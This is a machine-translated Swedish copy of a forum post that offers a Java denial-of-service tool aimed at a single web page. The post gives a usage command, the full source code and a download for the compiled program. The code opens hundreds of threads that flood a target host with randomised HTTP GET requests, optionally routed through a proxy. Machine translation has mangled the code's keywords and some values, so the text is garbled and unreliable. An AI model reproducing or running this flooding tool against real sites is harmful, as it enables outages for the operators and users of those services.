Denna artikel är en spegelartikel om maskinöversättning, klicka här för att hoppa till originalartikeln.

Utsikt: 15524|Svar: 0

[Tips] Java-versionen av D-DOS-angriparprogrammet

[Kopiera länk]
Publicerad på 2014-12-01 15:21:57 | | |
JAR-kod
dDOS-attack implementerad av Java.
Det skiljer sig dock inte från traditionella dDos.
Denna programvara är en DDOS-attack på en sida.
Hur man använder:
Java -jar ccddos.jar www.xxx.com 80 10 /index.do användarnamn=xxx 80

[mw_shl_code=java,true]import java.io.IOException;
importera java.net.ConnectException;
importera java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.SelectionKey;
importera java.nio.channels.Selector;
importera java.nio.channels.SocketChannel;
import java.util.Iterator;
importera java.util.Random;
importera java.util.Set;
import java.util.Timer;
import java.util.TimerTask;
importera java.util.Vector;

/**
* Demontrådar
*
* @author administration
*
*/
Offentlig klasstest {
    privat String host, uri, param;
    privat int hamn;
    privat slutlig vektor<CCDDOSThread> v = ny vektor<CCDDOSThread>();
    privat InetSocketAddress isa;
    privata int trådarAntal = 500; Antal trådar
    privat Slumpmässig r = ny Slumpmässig();
    privat lång tidsperiod = 5000 pund;

    /**
     * Öppna attacken
     */
    public void start() {
        för (int i = 0; i < threadsCount; i++) {
            CCDDOSThread t = ny CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Timer t = ny Timer();
        t.schedule(new TimerTask() {
            public void run() {
                int count = 0, timeoutthreads = 0;
                lång ct = System.currentTimeMillis();
                för (Iterator<CCDDOSThread> = v.iterator(); it.hasNext(); ) {
                    CCDDOSThread th = det.next();
                    om (th.isCancle() || !th.isAlive()) {
                        it.remove();
                        th = null;
                        räkning++;
                    } annars om (ct - th.start > timeout) {
                        Timeout, yttre slut
                        timeoutthreads++;
                        th.setCancle(true);
                        th.interrupt();
                        it.remove();
                        th = null;
                        räkning++;
                    }
                }
                om (count == 0) {
                    återvända;
                }
                System.out.println("Tråden har stängts:"+count+", där timeout-tråden är ansluten:"
                        + timeouttrådar);
                för (int i = 0; Jag < räkna; i++) {
                    CCDDOSThread th = ny CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100p);
        System.out.println ("Daemontråd startade:");
    }

    /**
     * @param args
     */
    public static void main(String[] args) {
        om (args.length < 6) {
            System.out.println ("Instruktioner:");
            System.out
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            System.exit(0);
        } annars om (args.length >= 8) {
            Boka upp med en agent
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        Test M = Nytt Test();
        m.host = args[0];
        m.port = Integer.valueOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = Integer.valueOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = ny InetSocketAddress(m.host, m.port);
        m.start();
    }

    /**
     * Attacktrådar
     *
     * @author Zhanghongbo
     *
     */
    klass CCDDOSThread utvidgar Thread {
        privat boolesk cancle = falsk;
        offentlig lång start = System.currentTimeMillis();

        public void setCancle(boolean cancle) {
            this.cancle = cancle;
        }

        public boolean isCancle() {
            återvänd till cancle;
        }

        public void run() {
            lång start = System.currentTimeMillis();
            Selektorväljare;
            try {
                selector = Selector.open();
                SocketChannel sc;
                try {
                    sc = SocketChannel.open(isa);
                } fånga (ConnectException ex) {
                    System.out.println(ex.getMessage());
                    cancle = sann;
                    selector.close();
                    återvända;
                }

                sc.configureBlocking(false);
                sc.register(selector, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                wait: while (selector.select() > 0 && !cancle) {
                    om (System.currentTimeMillis() - start > timeout) {
                        cancle = sann;
                        paus vänta;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Iterator<?> det = readykey.iterator();
                    medan (it.hasNext() && !cancle) {
                        om (System.currentTimeMillis() - start > timeout) {
                            cancle = sann;
                            paus vänta;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.remove();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        om ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            Stränghuvud = "GET " + uri + "?" + param
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Host: " + host
                                    + "\r\n" + "Connection:close\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write(bbf);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } fånga (IOException ex) {
                cancle = sann;
            }
        }
    }
}
[/mw_shl_code]

Färdig produkt och källkod nedladdning: java ddos.zip (8.42 KB, Antal nedladdningar: 0, Försäljningspris: 2 Korn MB)





Föregående:Låt oss prata om den största mystiska 400G-DDoS-attacken i historien
Nästa:Skicka iPhone 6 för att prata om den poängfria versionen med artefaktknäckning
Friskrivning:
All programvara, programmeringsmaterial eller artiklar som publiceras av Code Farmer Network är endast för lärande- och forskningsändamål; Ovanstående innehåll får inte användas för kommersiella eller olagliga ändamål, annars kommer användarna att bära alla konsekvenser. Informationen på denna sida kommer från internet, och upphovsrättstvister har inget med denna sida att göra. Du måste helt radera ovanstående innehåll från din dator inom 24 timmar efter nedladdning. Om du gillar programmet, vänligen stöd äkta programvara, köp registrering och få bättre äkta tjänster. Om det finns något intrång, vänligen kontakta oss via e-post.

Mail To:help@itsvse.com